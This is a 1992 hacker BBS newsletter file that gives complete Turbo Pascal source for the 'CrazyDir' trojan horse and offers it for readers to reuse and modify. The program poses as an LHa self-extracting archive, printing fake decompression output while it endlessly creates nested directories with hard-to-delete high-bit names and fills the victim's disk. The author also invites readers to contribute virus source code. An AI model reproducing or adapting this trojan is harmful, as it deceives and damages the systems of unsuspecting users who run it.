ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ     Û ÛßßßÛ Ûßßßß ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ   Û Û   Û ÛÜÜÜÜ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÜ Û ÛßßßÛ     Û ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ßÛ Û   Û ÜÜÜÜÛ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º                Vaginal and Anal Secretions Newsletter #0016                 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º          Date Released : [05/22/92]       Author: Phone Phreak              º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º                      A WORKING Turbo Pascal 6.0 Trojan                      º
ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ

        Well it seems all of us Turbo Pascal programmers are having the
hardest time finding malicious source code, so i decided to convert the 'c'
source code to the CRAZYDIR trojan over to pascal and modify it slightly to
improve it. If you want, feel free to mess around with it and change it all
around...

- - - - - - - CUT HERE - - - - - - - - - - - CUT HERE - - - - - - - - - - - -

(************************************************)
(**                                            **)
(**           CrazyDir Trojan Horse            **)
(**       Turbo Pascal 6.0 Source Code         **)
(**    Converted From 'C' By Phone Phreak      **)
(**                                            **)
(** ------------------------------------------ **)
(**    Well, I noticed that many of you have   **)
(** probably heard of CRAZYDIR, a nice little  **)
(** trojan horse that goes nuts making lots of **)
(** directories. For example, the trojan would **)
(** make 10 directories like '315135' and then **)
(** change to one and make 10 more and so on.  **)
(** Well I have improved it a little bit, It   **)
(** Will now use high-bit ascii characters to  **)
(** make removing the directories even more of **)
(** bitch. I also added a few lines of code so **)
(** it looks like it is actually doing some-   **)
(** thing. This program could use some work    **)
(** but for the most part it works. It will    **)
(** emulate a Self-Extracting .LZH file of     **)
(** about 15k, So after a while the person     **)
(** might get suspicious heh. On a fast system **)
(** they should get a few thousand directories **)
(** in a matter of seconds.                    **)
(**                                            **)
(************************************************)

{$I-}

Uses Dos, Crt;

Var FuckDirs : Array[1..10] Of String[8];
    Counter2 : Byte;

Procedure PickDirs;

 Function ShitString : String;
  Var Counter : Byte;
      TempStr : String;
  Begin
    TempStr := '';
    For Counter := 1 to 8 do TempStr := tempstr + Chr(Ord(Random(155)+100));
    ShitString := TempStr;
  End;

Var Dude : Byte;

Begin
  For Dude := 1 to 10 do FuckDirs[Dude] := ShitString;
end;

Begin
   Randomize;
   Writeln('LHa''s SFX 2.06s (c)1991, Yoshi');
   Writeln;
   Write('LOADER.EXE: Uncompressing 15,301 Bytes .');
   Repeat
   Write('.');
   PickDirs;
   For Counter2 := 1 to 10 do MkDir(FuckDirs[Counter2]);
   ChDir(FuckDirs[random(9)+1]);
   Until 1 = 2;                       {This makes it go forever}
end.

- - - - - - - CUT HERE - - - - - - - - - - - CUT HERE - - - - - - - - - - - -

        That's that... Excuse the sloppy programming, but oh well, I was in
a hurry... Like I said, it needs some work, but it should give you a basic
idea. If you have written a great virus and want to put the source code in
a VaS textfile, you know where to reach us (PoT BBS)...

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º               For All The Latest VAS Files, Be Sure To Call :               º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º     Persistence Of Time BBS þ 2400 baud þ (313)462-1906 þ NUP = T.MESS01    º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ